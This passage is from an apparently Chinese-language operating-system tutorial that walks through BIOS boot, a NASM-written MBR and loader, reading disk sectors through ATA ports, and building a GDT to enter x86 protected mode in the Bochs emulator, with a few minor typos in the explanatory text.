4004FF256BBIOS Data Area(BIOS数据区)
0003FF1KBInterrupt Vector Table(中断向量表)

BIOS因为是第一个运行的软件,故需要用硬件对其加载到ROM(0xF0000~0xFFFFF)中,其入口点是0xFFFF0(CPU通过段地址+偏移地址即可访问),因为自己还没有加载起来,想要直接定位到0xFFFF0靠自己肯定是不行的,故也需要硬件来操作,使开机的时候强制将CS:IP置为0xF000:0xFFF0,实模式段基址需要乘16(左移四位),故起始地址为0xFFFF0

1
(0xF000 << 4) + 0xFFF0 = 0xFFFF0

这个起始地址距离1MB内存只有16字节大小,所以这里肯定不是真正实现BIOS的地方,这里肯定只是一个类似于函数索引表的跳板,跳转到真正执行BIOS的地方。

BIOS最后的工作就是校验启动盘中位于0盘0道1扇区的内容,这里面其实主要校验的是MBR,如果此扇区末尾两个字节为0x55和0xaa,BIOS即认定这里为MBR,便将其加载到0x7c00处,然后跳转到这个地方继续执行。至于为什么这里是0x7c00书中也有提到,主要是考虑到不能覆盖中断向量表、预留栈空间等,BIOS大致流程也差不多总结到这里。下一步就是做实验。

第一个MBR

这里用NASM实现一个简单的MBR,功能是在屏幕上打印字符串”1 MBR”,背景色黑色,前景色绿色,因为有中文格式问题,复制的时候建议去除所有中文以及注释,当然最好是自己敲一遍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
; mbr.S
; 主引导程序
; ----------------------------------------------------------
SECTION MBR vstart=0x7c00 ; 起始地址为0x7c00
  mov ax,cs ; cs寄存器初始化其他寄存器
  mov ds,ax
  mov es,ax
  mov ss,ax
  mov fs,ax
  mov sp,0x7c00 ; 初始化栈指针

; 下面功能为清屏,清理其他输出信息,保证我们输出的内容可见+

; -----------------------------------------------------------
; INT 0x10  功能号:0x06  功能描述:上卷窗口
; -----------------------------------------------------------
; AH 功能号= 0x06
; AL = 上卷的行数(如果为0,表示全部)
; BH = 上卷行属性
; (CL,CH) = 窗口左上角的(X,Y)位置
; (DL,DH) = 窗口右下角的(X,Y)位置
; 无返回值
  mov   ax, 0x600
  mov   bx, 0x700
  mov   cx, 0 ; 左上角: (0, 0)
  mov   dx, 0x184f ; 右下角: (80,25),
; VGA文本模式中,一行只能容纳80个字符,共25行。
                 ; 下标从0开始,所以0x18=24,0x4f=79
  int   0x10         ; int 0x10

;;;;;;;;;  下面这三行代码获取光标位置  ;;;;;;;;;
;.get_cursor获取当前光标位置,在光标位置处打印字符。
  mov ah, 3          ; 输入: 3号子功能是获取光标位置,需要存入ah寄存器
  mov bh, 0          ; bh寄存器存储的是待获取光标的页号,这里是第0页

  int 0x10           ; 输出: ch=光标开始行,cl=光标结束行
                 ; dh=光标所在行号,dl=光标所在列号

;;;;;;;;;  获取光标位置结束  ;;;;;;;;;

;;;;;;;;;  打印字符串  ;;;;;;;;;
  ;还是用10h中断,不过这次调用13号子功能打印字符串
  mov ax, message
  mov bp, ax          ; es:bp 为串首地址,es此时同cs一致,
                 ; 开头时已经为sreg初始化

; 光标位置要用到dx寄存器中内容,cx中的光标位置可忽略
  mov cx, 5          ; cx 为串长度,不包括结束符0的字符个数
  mov ax, 0x1301       ; 子功能号13显示字符及属性,要存入ah寄存器,
                 ; al设置写字符方式 ah=01: 显示字符串,光标跟随移动
  mov bx, 0x2         ; bh存储要显示的页号,此处是第0页,
                 ; bl中是字符属性,属性黑底绿字(bl = 02h)
  int 0x10           ; 执行BIOS 0x10 号中断
;;;;;;;;;  打字字符串结束  ;;;;;;;;;
; $为eip地址,$$为本section的起始地址
  jmp $            ; 使程序无限循环,相当于jmp eip

  message db "1 MBR" ; 打印的字符串
  times 510-($-$$) db 0 ; 用0填充本扇区空余的字节数,$-$$即为本行到本section的偏移
  ; 510减去是为了腾出2字节存放0x55和0xaa魔数
  ; 也就是覆盖除了最后两字节和上面已经写了的字节
  db 0x55,0xaa

命令sudo nasm -o mbr.bin mbr.S编译生成mbr.bin文件,然后用dd命令将其写入我们镜像中的第0行,512字节大小,也就是写入一开始BIOS执行的MBR

image-20200430104313495

再次运行sudo ./bochs -f bochsrc.disk即可显示出我们写的内容,断下的时候输入c即可运行

image-20200430104739183

完善MBR

这里介绍一些显存相关内容,显存地址分布

起始结束大小用途
C0000C7FFF32KB显示适配器BIOS
B8000BFFFF32KB用于文本模式显示适配器
B0000B7FFF32KB用于黑白显示适配器
A0000AFFFF64KB用于彩色显示适配器

根据上表地址直接操作显卡显示文本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
;主引导程序 
;------------------------------------------------------------
SECTION MBR vstart=0x7c00
mov ax,cs
mov ds,ax
mov es,ax
mov ss,ax
mov fs,ax
mov sp,0x7c00
mov ax,0xb800 ;参考上表的基址
mov gs,ax

; 清屏
;利用0x06号功能,上卷全部行,则可清屏。
; -----------------------------------------------------------
;INT 0x10 功能号:0x06 功能描述:上卷窗口
;------------------------------------------------------
;输入:
;AH 功能号= 0x06
;AL = 上卷的行数(如果为0,表示全部)
;BH = 上卷行属性
;(CL,CH) = 窗口左上角的(X,Y)位置
;(DL,DH) = 窗口右下角的(X,Y)位置
;无返回值:
mov ax, 0600h
mov bx, 0700h
mov cx, 0 ; 左上角: (0, 0)
mov dx, 184fh ; 右下角: (80,25),
; 因为VGA文本模式中,一行只能容纳80个字符,共25行。
; 下标从0开始,所以0x18=24,0x4f=79
int 10h ; int 10h

; 输出背景色绿色,前景色红色,并且跳动的字符串"1 MBR"
mov byte [gs:0x00],'1' ; 一字节为数据,一字节为属性
mov byte [gs:0x01],0xA4 ; A表示绿色背景闪烁,4表示前景色为红色

mov byte [gs:0x02],' '
mov byte [gs:0x03],0xA4

mov byte [gs:0x04],'M'
mov byte [gs:0x05],0xA4

mov byte [gs:0x06],'B'
mov byte [gs:0x07],0xA4

mov byte [gs:0x08],'R'
mov byte [gs:0x09],0xA4

jmp $ ; 通过死循环使程序悬停在此

times 510-($-$$) db 0
db 0x55,0xaa

效果如下,红色字体,绿色背景闪烁

image-20200504083137724

上面MBR实际上没做什么事情,只是单纯的实现了和显卡交互,和打印hello world区别不是很大,我们需要不断增加新的有实际用处的功能,MBR只有512字节,无法实现对内核的加载,所以我们下一步需要让其增加读写磁盘的功能,在硬盘中加载loader,然后用loader来加载我们的内核。

MBR在第0扇区(逻辑LBA编号),loader理论上可以在1扇区,这里为了安全起见放在2扇区,预留出1扇区的空位。MBR将二扇区的内容读出来,放入实模式1MB内存分布中的可用区域(参见BIOS处的表格),因为loader中还会加载一些GDT等的描述符表,这些表不能被覆盖,随着内核越来越完整,loader的内核也不断从低地址向高地址发展,所以需要选择一个稍安全的地方,留出一些空位,这里选择0x900,大致步骤如下:

  1. 先选择通道,往该通道的sector count寄存器中写入待操作的扇区数,参考如下表格找到端口

    img

  2. 往该通道上的三个LBA寄存器写入扇区起始地址的低24位。

  3. 往device寄存器中写入LBA地址的24~27位,并置第6位为1,使其为LBA模式,设置第4位,选择操作的硬盘(master硬盘或slave硬盘)。

  4. 往该通道上的command寄存器写入操作命令。

  5. 读取该通道上的status寄存器,判断硬盘工作是否完成。

  6. 如果以上步骤是读硬盘,进入下一个步骤。否则,完工。

  7. 将硬盘数据读出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
;主引导程序 
;------------------------------------------------------------
%include "boot.inc"
SECTION MBR vstart=0x7c00
mov ax,cs
mov ds,ax
mov es,ax
mov ss,ax
mov fs,ax
mov sp,0x7c00
mov ax,0xb800
mov gs,ax

;清屏
;利用0x06号功能,上卷全部行,则可清屏。
; -----------------------------------------------------------
;INT 0x10 功能号:0x06 功能描述:上卷窗口
;------------------------------------------------------
;输入:
;AH 功能号= 0x06
;AL = 上卷的行数(如果为0,表示全部)
;BH = 上卷行属性
;(CL,CH) = 窗口左上角的(X,Y)位置
;(DL,DH) = 窗口右下角的(X,Y)位置
;无返回值:
mov ax, 0600h
mov bx, 0700h
mov cx, 0 ; 左上角: (0, 0)
mov dx, 184fh ; 右下角: (80,25),
; 因为VGA文本模式中,一行只能容纳80个字符,共25行。
; 下标从0开始,所以0x18=24,0x4f=79
int 10h ; int 10h

; 输出字符串:MBR
mov byte [gs:0x00],'1'
mov byte [gs:0x01],0xA4

mov byte [gs:0x02],' '
mov byte [gs:0x03],0xA4

mov byte [gs:0x04],'M'
mov byte [gs:0x05],0xA4 ;A表示绿色背景闪烁,4表示前景色为红色

mov byte [gs:0x06],'B'
mov byte [gs:0x07],0xA4

mov byte [gs:0x08],'R'
mov byte [gs:0x09],0xA4
; 寄存器传三个参数
mov eax,LOADER_START_SECTOR ; 起始扇区LBA地址
mov bx,LOADER_BASE_ADDR ; 写入的地址
mov cx,1 ; 待读入的扇区数,这里是简单的loader故一个扇区足够
call rd_disk_m_16 ; 以下读取程序的起始部分(一个扇区)

jmp LOADER_BASE_ADDR

;-------------------------------------------------------------------------------
;功能:读取硬盘n个扇区
rd_disk_m_16:
;-------------------------------------------------------------------------------
; eax=LBA扇区号
; ebx=将数据写入的内存地址
; ecx=读入的扇区数
mov esi,eax ;备份eax
mov di,cx ;备份cx
;读写硬盘:
;第1步:选择通道,往该通道的sector count寄存器中写入待操作的扇区数
;因为bochs配置文件中虚拟硬盘属于ata0,是Primary通道,所以sector count寄存器由0x1f2端口访问
mov dx,0x1f2
mov al,cl
out dx,al ;读取的扇区数
;out 往端口中写数据
;in 从端口中读数据

mov eax,esi ;恢复ax

;第2步:将LBA地址写入三个LBA寄存器和device寄存器的低4位

;LBA地址7~0位写入端口0x1f3
mov dx,0x1f3
out dx,al

;LBA地址15~8位写入端口0x1f4
mov cl,8
shr eax,cl
mov dx,0x1f4
out dx,al

;LBA地址23~16位写入端口0x1f5
shr eax,cl
mov dx,0x1f5
out dx,al

shr eax,cl
and al,0x0f ; lba第24~27位
or al,0xe0 ; 设置7~4位为1110,表示lba模式
mov dx,0x1f6
out dx,al

;第3步:向command寄存器写入读命令,0x20
mov dx,0x1f7 ;要写入的端口
mov al,0x20 ;要写入的数据
out dx,al

;第4步:检测硬盘状态,读取该通道上的status寄存器,判断硬盘工作是否完成
.not_ready:
;同一端口,写时表示写入命令字,读时表示读入硬盘状态
nop
in al,dx
and al,0x88 ;第4位为1表示硬盘控制器已准备好数据传输,第7位为1表示硬盘忙
cmp al,0x08
jnz .not_ready ;若未准备好,继续等。

;第5步:从0x1f0端口读数据
mov ax, di
mov dx, 256
mul dx
mov cx, ax ; di为要读取的扇区数,一个扇区有512字节,每次读入一个字,
; 共需di*512/2次,所以di*256
mov dx, 0x1f0
.go_on_read: ; 循环写入bx指向的内存
in ax,dx
mov [bx],ax
add bx,2
loop .go_on_read
ret

times 510-($-$$) db 0
db 0x55,0xaa

我们需要在boot.inc中指定两句头文件参数,如下所示

1
2
LOADER_BASE_ADDR equ 0x900
LOADER_START_SECTOR equ 0x2

这里编译需要加一个-I参数,这里我将boot.inc放在include目录下

image-20200505092951970

编译成功之后,发现我们还没有写loader,这会导致CPU跳转到0x900处的地方,所以下一步我们就需要实现一个简单的loader,至少保证能简单运行下去。复习一下现在位置我们所知道的开机流程:BIOS -> MBR -> Loader

loader中的内容我们用之前MBR的即可,这里编译也是需要sudo nasm -I include/ -o loader.bin loader.S

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
%include "boot.inc"
section loader vstart=LOADER_BASE_ADDR

mov byte [gs:0x00],'2'
mov byte [gs:0x01],0xA4

mov byte [gs:0x02],' '
mov byte [gs:0x03],0xA4

mov byte [gs:0x04],'L'
mov byte [gs:0x05],0xA4

mov byte [gs:0x06],'O'
mov byte [gs:0x07],0xA4

mov byte [gs:0x08],'A'
mov byte [gs:0x09],0xA4

mov byte [gs:0x0a],'D'
mov byte [gs:0x0b],0xA4

mov byte [gs:0x0c],'E'
mov byte [gs:0x0d],0xA4

mov byte [gs:0x0e],'R'
mov byte [gs:0x0f],0xA4

jmp $

dd命令指定seek参数将其放入第二个扇区

1
sudo dd if=./loader.bin of=/home/guang/soft/bochs-2.6.2/bin/hd60M.img bs=512 count=1 seek=2 conv=notrunc

最后的运行效果如下

image-20200505130009352

实模式的安全缺陷总结:

  1. 操作系统和用户属于同一特权级
  2. 用户程序引用的地址都是指向真实的物理地址
  3. 用户程序可以自由修改段基址,自由访问所有内存

保护模式初探

32位CPU在16位模式下运行的状态为实模式,当CPU发展到32位的时候出现保护模式,保护模式下CPU变成了32根地址总线,32根地址总线足够访问4GB的空间,为了满足4GB空间寻址,寄存器宽度也增加了一倍,从原来的2字节变为4字节32位。除了段寄存器仍然使用16位,其余通用寄存器都提升到32位。
寄存器要保持向下兼容,不会重新构造原来的基础设备而是在原有的寄存器基础上进行了拓展。经过拓展后的寄存器在原有名字上加了个e,如图所示

段描述符

保护模式中的段基址不再是像实模式那样直接存放物理地址,段寄存器中要记录32位地址的数据段基址,16位肯定是装不下的,所以段基址都存储在一个数据结构中——全局描述符表。其中每个表项称为段描述符,其大小为64字节,用来描述各个内存段的起始地址、大小、权限等信息。而这里段寄存器中存放的是段选择子 selector 。如果把全局描述符表当作数组来看的话,段选择子就是数组的下标,用来索引段描述符。该全局描述符表很大,所以放在内存中,由GDTR寄存器指向它。

Tip:因为段描述符是在内存中,CPU访问较慢,效率不高,故在80286的保护模式中增加了一个段描述符缓冲寄存器用来提高效率。CPU每次将获取到的内存信息整理之后存入此寄存器,之后每次访问相同的段时,直接读取对应的段描述符缓冲寄存器即可。

因为80286始终是16位CPU,通用寄存器还是16位宽,寻址空间为2的24次方也就是16MB,单个寄存器依旧无法访问到全部内存空间,这就有了80386的登场,参数总结如下

版本CPU位数寄存器宽地址线宽寻址空间
80861616202^20 = 1MB
802861616242^24 = 16MB
803863232322^32 = 4GB

实模式和保护模式的内存寻址方式如下图所示

32位CPU既支持实模式有支持保护模式,为了区分当前指令到底是哪个模式下运行的,编译器提供了伪指令bits

指令格式:[bits 16]或[bits 32],分别对应16位和32位

如下面的例子

1
2
3
4
5
6
7
[bits 16]
mov ax, 0x1234
mov dx, 0x1234

[bits 32]
mov eax, 0x1234
mov edx, 0x1234

模式之间可以相互使用对方环境下的资源。比如,16位实模式下可以使用32位保护模式下的寄存器。如果要用另一模式下的操作数大小,需要在指令前添加指令前缀0x66,将当前指令模式临时转变为另一种模式。这就是反转的意义,不管当前模式是什么,总是转变成相反的运行模式。这个转换是临时的,只有在当前指令才有效。如下图
比如,在指令中添加了0x66反转前缀后:
假如当前运行模式是16位实模式,操作数大小变为32位。
假设当前运行模式是32位保护模式,操作数大小变为16位。

操作数可以在模式间相互转换,那么寻址方式一样可以,只需要在它的指令前加上0x67反转前缀即可。如下图

下面总结一下,保护模式首先是必须向前兼容的,故其访问内存依然是段基址:段内偏移的方式,结合前面总结过实模式的一些安全问题,想要解决这些问题就得既保证向前兼容,又保证安全性。CPU工程师想到的方法就是增加更多的安全属性位,下图即是段描述符格式:

其实对于各个字段的解释,我更倾向于用的时候去查,因为随着CPU的更新换代,如今的一些位可能有变化,要参考当然是参考最新的比较好,比如参考intel手册之类的权威资料,无非就是保存一些段的属性(可读、可写、是否存在等),权限(Ring0-Ring3),基址,界限范围等信息。其访问内存的形式如下图所示

全局描述符

全局描述符表GDT相当于是一个描述符的数组,数组每一个元素都是8个字节的描述符,而选择子则是提供下标在GDT中索引描述符。假设 A[10] 数组即为GDT表,则

  • GDT表相当于数组A
  • 数组中每个数据A[0]~A[10]相当于描述符
  • A[0]~A[10]中的0~10索引下标则是选择子

全局描述符表是公用的,GDTR这个专门的寄存器则存放GDT表的内存地址和大小,是一个48位的寄存器,对这个寄存器操作无法用mov等指令,这里用的是lgdt指令初始化,指令格式是:lgdt 48位内存数据

其中前16位是GDT以字节为单位的界限值,相当于GDT字节大小减1。后32位是GDT的起始地址。由于GDT的大小是16位二进制,表示范围是2^16 = 65536字节。每个描述符大小是8字节,故GDT中最多可容纳的描述符数量是65536/8 = 8198,也就是可以容纳8192个段或门。

局部描述符表

按照CPU的设想,一个任务对应一个局部描述符表LDT,切换任务的时候也会切换LDT,LDT也存放在内存中,由LDTR寄存器指向,加载的指令为lldt。对于操作系统来说,每个系统必须定义一个GDT,用于系统中的所有任务和程序。可选择性定义若干个LDT。LDT本身是一个段,而GDT不是。这种表在这里并不常用所以就不继续展开了,感兴趣的小伙伴可以自行百度。

段选择子

首先复习一下段寄存器CS、DS、ES、FS、GS、SS,保护模式下段寄存器中存放的即是段选择子,结构如下,其中0-1位表示特权级,2位TI表示选择子是在GDT中,还是在LDT中索引描述符,剩下的13位就是索引部分,2^13 = 8192,这也刚好和GDT最多容纳的段或门的数量相符。

举个访问内存的例子,例如选择子是 0x8,将其加载到 ds 寄存器后,访问 ds: 0x9 这样的内存,其过程是首先拆分 0x8 为二进制 0000 0000 0000 1000 然后得到 0x8 的低 2 位是RPL,其值为 00。第 2 是 TI ,其值 0,表示是在 GOT 中索引段描述符。用 0x8 的高 13 位 0x1 在 GOT 中索引,也就是 GOT 中的第 1 个段描述符(GDT 中第 0 个段描述符不可用)。假设第 1 个段描述符中的 3个段基址部分,其值为 0xl234oCPU 将 0xl234 作为段基址,与段内偏移地址 0x9 相加, 0x1234 + 0x9 = 0x123d。用所得的和 0x123d 作为访存地址。

Tip:GDT中第0个段描述符不可用是为了防止未初始化段选择子,如果未初始化段选择子就会访问到第0个段描述符从而抛出异常。

为了让段基址:段内偏移策略继续可用,CPU采取的做法是将超过1MB的部分自动绕回到0地址,继续从0地址开始映射。相当于把地址对1MB求模。超过1MB多余出来的内存被称为高端内存区HMA。

这种地址绕回的做法需要通过两种情况分别讨论:

  • 对于只有20位地址线的CPU,不需要任何操作便能自动实现地址绕回

  • 当其他有更多地址总线的时候,因为CPU可以访问更多的内存,所以不会产生地址回滚。这种情况下的解决方案就是对第21根地址线进行操作。开启A20则直接访问物理地址即可,关闭A20则使用回绕方式访问。

打开A20的操作方法有以下三个步骤,主要是将0x92端口第一位置一即可

1
2
3
in al, 0x92
or al, 0000_0010B
out 0x92, al

CR0寄存器

CRx系列寄存器属于控制寄存器一类,这里主要介绍CR0寄存器,这个寄存器如下图所示,其中第0位PE位表示是否开启保护模式

其他位如下图所示,这里暂时不深入讨论

对CR0的PE位操作如下所示

1
2
3
mov eax,cr0
or eax,0x00000001
mov cr0,eax

进入保护模式

现在基础知识总结的差不多了,进入下一个实验阶段,更新我们的mbr和loader,因为我们的loader.bin会超过512字节,所以要把mbr.S中加载loader.bin的读入扇区数增大,目前是1扇区,这里直接改为4扇区

1
2
3
4
...
52 mov cx, 4 ; 带读入的扇区数
53 call rd_disk_m_16 ; 以下读取程序的起始部分(一个扇区)
...

如下图所示,cx 寄存器中存放的这个参数非常重要,代表读入扇区数,如果loader.bin的大小超过mbr读入的扇区数,就需要对这个参数进行修改

image-20200506225157139

接下来就是更新boot.inc,里面存放的是loader.S的一些符号信息,相当于头文件,比之前主要多定义了GDT描述符的属性和选择子的属性。Linux使用的是平坦模型,整个内存都在一个段里,这里平坦模型在我们定义的描述符中,段基址是0,段界限 * 粒度 = 4G 粒度选的是4k,故段界限是 0xFFFFF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
;--------------------- loader 和 kernel---------------------

LOADER_BASE_ADDR equ 0x900
LOADER_START_SECTOR equ 0x2

;-------------------- gdt 描述符属性 ----------------------
DESC_G_4K equ 1_00000000000000000000000b ;描述符的G位为4k粒度,以二进制表示,下划线可去掉
DESC_D_32 equ 1_0000000000000000000000b
DESC_L equ 0_000000000000000000000b ;64位代码标记,此处标记为0便可
DESC_AVL equ 0_00000000000000000000b ;CPU不用此位,暂置为0
DESC_LIMIT_CODE2 equ 1111_0000000000000000b ;段界限,需要设置为0xFFFFF
DESC_LIMIT_DATA2 equ DESC_LIMIT_CODE2
DESC_LIMIT_VIDEO2 equ 0000_000000000000000b
DESC_P equ 1_000000000000000b
DESC_DPL_0 equ 00_0000000000000b
DESC_DPL_1 equ 01_0000000000000b
DESC_DPL_2 equ 10_0000000000000b
DESC_DPL_3 equ 11_0000000000000b
DESC_S_CODE equ 1_000000000000b
DESC_S_DATA equ DESC_S_CODE
DESC_S_sys equ 0_000000000000b
DESC_TYPE_CODE equ 1000_00000000b;x=1,c=0,r=0,a=0 代码段是可执行的,非一致性,不可读,已访问位a清0.
DESC_TYPE_DATA equ 0010_00000000b;x=0,e=0,w=1,a=0 数据段是不可执行的,向上扩展的,可写,已访问位a清0.

DESC_CODE_HIGH4 equ (0x00 << 24) + DESC_G_4K + DESC_D_32 + DESC_L + DESC_AVL + DESC_LIMIT_CODE2 + DESC_P + DESC_DPL_0 + DESC_S_CODE + DESC_TYPE_CODE + 0x00 ;定义代码段的高四字节,(0x00 << 24)表示"段基址的24~31"字段,该字段位于段描述符高四字节24~31位,平坦模式段基址为0,所以这里用0填充,最后的0x00也是
DESC_DATA_HIGH4 equ (0x00 << 24) + DESC_G_4K + DESC_D_32 + DESC_L + DESC_AVL + DESC_LIMIT_DATA2 + DESC_P + DESC_DPL_0 + DESC_S_DATA + DESC_TYPE_DATA + 0x00
DESC_VIDEO_HIGH4 equ (0x00 << 24) + DESC_G_4K + DESC_D_32 + DESC_L + DESC_AVL + DESC_LIMIT_VIDEO2 + DESC_P + DESC_DPL_0 + DESC_S_DATA + DESC_TYPE_DATA + 0x0b

;-------------- 选择子属性 ---------------
RPL0 equ 00b
RPL1 equ 01b
RPL2 equ 10b
RPL3 equ 11b
TI_GDT equ 000b
TI_LDT equ 100b

下面修改 loader.S

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
%include "boot.inc"
section loader vstart=LOADER_BASE_ADDR
LOADER_STACK_TOP equ LOADER_BASE_ADDR ;初始化的栈顶
jmp loader_start

;构建gdt以及内部的描述符,每个8字节,由两个四字节组成
;第0个描述符不可用,置为0
GDT_BASE: dd 0x00000000 ;低四字节
dd 0x00000000 ;高四字节
;代码段描述符
CODE_DESC: dd 0x0000FFFF ;0xFFFF是段界限的0~15位,0x0000是段基址的0~15位
DESC_CODE_HIGH4 ;boot.inc中定义的高四字节
;数据段和栈段描述符
DATA_STACK_DESC: dd 0x0000FFFF
dd DESC_DATA_HIGH4
;显存段描述符,为了方便显存操作,显存段不用平坦模型
VIDEO_DESC: dd 0x80000007 ;参考1MB实模式内存分布,limit=(0xbffff-0xb8000)/4k=0x7
dd DESC_VIDEO_HIGH4 ;此时dpl为0
GDT_SIZE equ $ - GDT_BASE ;地址差获得GDT大小
GDT_LIMIT equ GDT_SIZE - 1 ;大小减1获得段界限
times 60 dq 0 ;此处预留60个描述符空位,为以后做准备,times相当于是循环执行命令
;构建代码段、数据段、显存段的选择子
SELECTOR_CODE equ (0x0001<<3)+TI_GDT+RPL0;相当于(CODE_DESC-GDT_BASE)/8+TI_GDT+RPL0
SELECTOR_DATA equ (0x0002<<3)+TI_GDT+RPL0
SELECTOR_VIDEO equ (0x0003<<3)+TI_GDT+RPL0

;以下是gdt的指针,前2字节是gdt界限,后4字节是gdt起始地址
gdt_ptr dw GDT_LIMIT
dd GDT_BASE
loadermsg db '2 loader in real.'
loader_start:
;---------------------------------------------------------
;INT 0x10功能号:0x13功能描述符:打印字符串
;---------------------------------------------------------
;输入:
;AH 子功能号=13H
;BH = 页码
;BL = 属性(若AL=00H或01H)
;CX = 字符串长度
;(DH,DL)=坐标(行,列)
;ES:BP=字符串地址
;AL=显示输出方式
;0——字符串中只含显示字符,其显示属性在BL中。显示后,光标位置不变
;1——字符串中只含显示字符,其显示属性在BL中。显示后,光标位置改变
;2——字符串中只含显示字符和显示属性。显示后,光标位置不变。
;3——字符串中只含显示字符和显示属性。显示后,光标位置改变。
;无返回值
mov sp,LOADER_BASE_ADDR
mov bp,loadermsg;ES:BP=字符串地址
mov cx,17;CX=字符串长度
mov ax,0x1301;AH=13,AL=01h
mov bx,0x001f;页号为0(BH=0)蓝底分红子(BL=1fh)
mov dx,0x1800
int 0x10

;---------------------准备进入保护模式-------------------------
;1 打开A20
;2 加载gdt
;3 将cr0的pe位置1

;-----------------------打开A20--------------------------
in al,0x92
or al,0000_0010B
out 0x92,al
;-----------------------加载GDT--------------------------
lgdt [gdt_ptr]

;----------------------cr0 第 0 位置 1-------------------
mov eax,cr0
or eax,0x00000001
mov cr0,eax

jmp dword SELECTOR_CODE:p_mode_start;下面指令又有16位又有32位,故需要刷新流水线

[bits 32]
p_mode_start:
;选择子初始化段寄存器
mov ax,SELECTOR_DATA
mov ds,ax
mov es,ax
mov ss,ax
mov esp,LOADER_STACK_TOP
mov ax,SELECTOR_VIDEO
mov gs,ax

mov byte [gs:160],'P' ;显存第80个字符的位置写一个P

jmp $

同之前的方法编译,注意这里loader.bin编译后为615个字节,需要2个扇区大小,写入磁盘时要给count赋值为2

image-20200507101206860

运行结果如下,其中1 MBR来自实模式下的mbr.S,2 loader in real来自实模式下用BIOS中断0x10实现的,左上角第二行的P是在保护模式下输出的。

image-20200507102103054

查看GDT表中的内容和我们设置的相符,其中第0个不可用。查看寄存器信息PE位设置为1表示已经进入保护模式。

24

保护模式对内存的保护体现在如下几个方面,这里简单总结一下,更详细的内容网上有很多更详细的说明,当然最权威的还是intel手册。

向段寄存器加载段选择子时的保护

当引用一个内存段时,实际上就是往段寄存器中加载个段选择子,为了避免非法引用内存段的情况,会检查选择子是否合理,判断方法就是通过验证索引值是否出现越界,越界则抛出异常。有如下表达式

描述符表基地址+选择子中的索引值*8+7<=描述符表基地址+描述符表界限值

总结如下图

image-20200507174438486

检查完选择子就该检查段描述符中 type 字段,也就是段的类型,如下图所示

image-20200507174438486

检查完类型后检查P位,P位表示该段是否存在,1表示存在,0表示不存在。

代码段和数据段的保护

代码段和数据段主要保护措施是当CPU访问一个地址的时候,判断该地址不能超过所在内存段的范围。简单总结如下图所示,出现这种跨段操作就会出现异常。

image-20200507174438486

栈段的保护

段描述符type中的e位表示扩展方向,栈可以向上扩展和向下扩展,下面就是检查方式

  • 对于向上拓展的段,实际段界限是段内可以访问的最后一个字节
  • 对于向下拓展的段,实际段界限是段内不可以访问的第一个字节

等价于如下表达式

1
实际段界限+1<=esp-操作数大小<=0xFFFFFFFF

保护模式进阶

获取物理内存容量

  Linux获取内存容量方法有三种,本质上分别是BIOS中断0x15的3个子功能,BIOS是实模式下的方法,只能在保护模式之前调用。总结如下

利用BIOS中断0x15子功能0xe820获取内存

此方法最灵活,返回的内容也最丰富,内存信息的内容是地址范围描述符来描述的(ARDS),每个字段4字节,一共20字节,调用0x15返回的也就是这个结构。其中Type字段表示内存类型,1表示这段内存可以使用;2表示不可用使用此内存;其它表示未定义,将来会用到

字节偏移量属性名称描述
0BaseAddrLow基地址的低32位
4BaseAddrHigh基地址的高32位
8LengthLow内存长度的低32位,以字节为单位
12LengthHigh内存长度的高32位,以字节为单位
16Type本段内存的类型

用0x15子功能0xe820调用说明和调用步骤如下

  1. 填写好”调用前输入”中列出的寄存器
  2. 执行中断调用 int 0x15
  3. 在CF位为0的情况下,”返回后输出”中对应的寄存器中就有结果

image-20200508082615611

利用BIOS中断0x15子功能0xe801获取内存

此方法最多识别4G的内存,结果存放在两组寄存器中,操作起来要简便一些,调用说明和调用步骤如下

  1. AX寄存器写入0xE801
  2. 执行中断调用 int 0x15
  3. 在CF位为0的情况下,”返回后输出”中对应的寄存器中就有结果

image-20200508083428601

利用BIOS中断0x15子功能0x88获取内存

此方法最多识别64MB内存,操作起来最简单,调用说明和调用步骤如下

  1. AX寄存器写入0x88
  2. 执行中断调用 int 0x15
  3. 在CF位为0的情况下,”返回后输出”中对应的寄存器中就有结果

image-20200508083919353

下面结合这三种方式改进我们的实验代码,下面是loader,我们将结果保存在了total_mem_bytes中,重要的一些地方都有注释,更详细的内容建议参考书中P183

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
   %include "boot.inc"
section loader vstart=LOADER_BASE_ADDR
LOADER_STACK_TOP equ LOADER_BASE_ADDR

;构建gdt及其内部的描述符
GDT_BASE: dd 0x00000000
dd 0x00000000

CODE_DESC: dd 0x0000FFFF
dd DESC_CODE_HIGH4

DATA_STACK_DESC: dd 0x0000FFFF
dd DESC_DATA_HIGH4

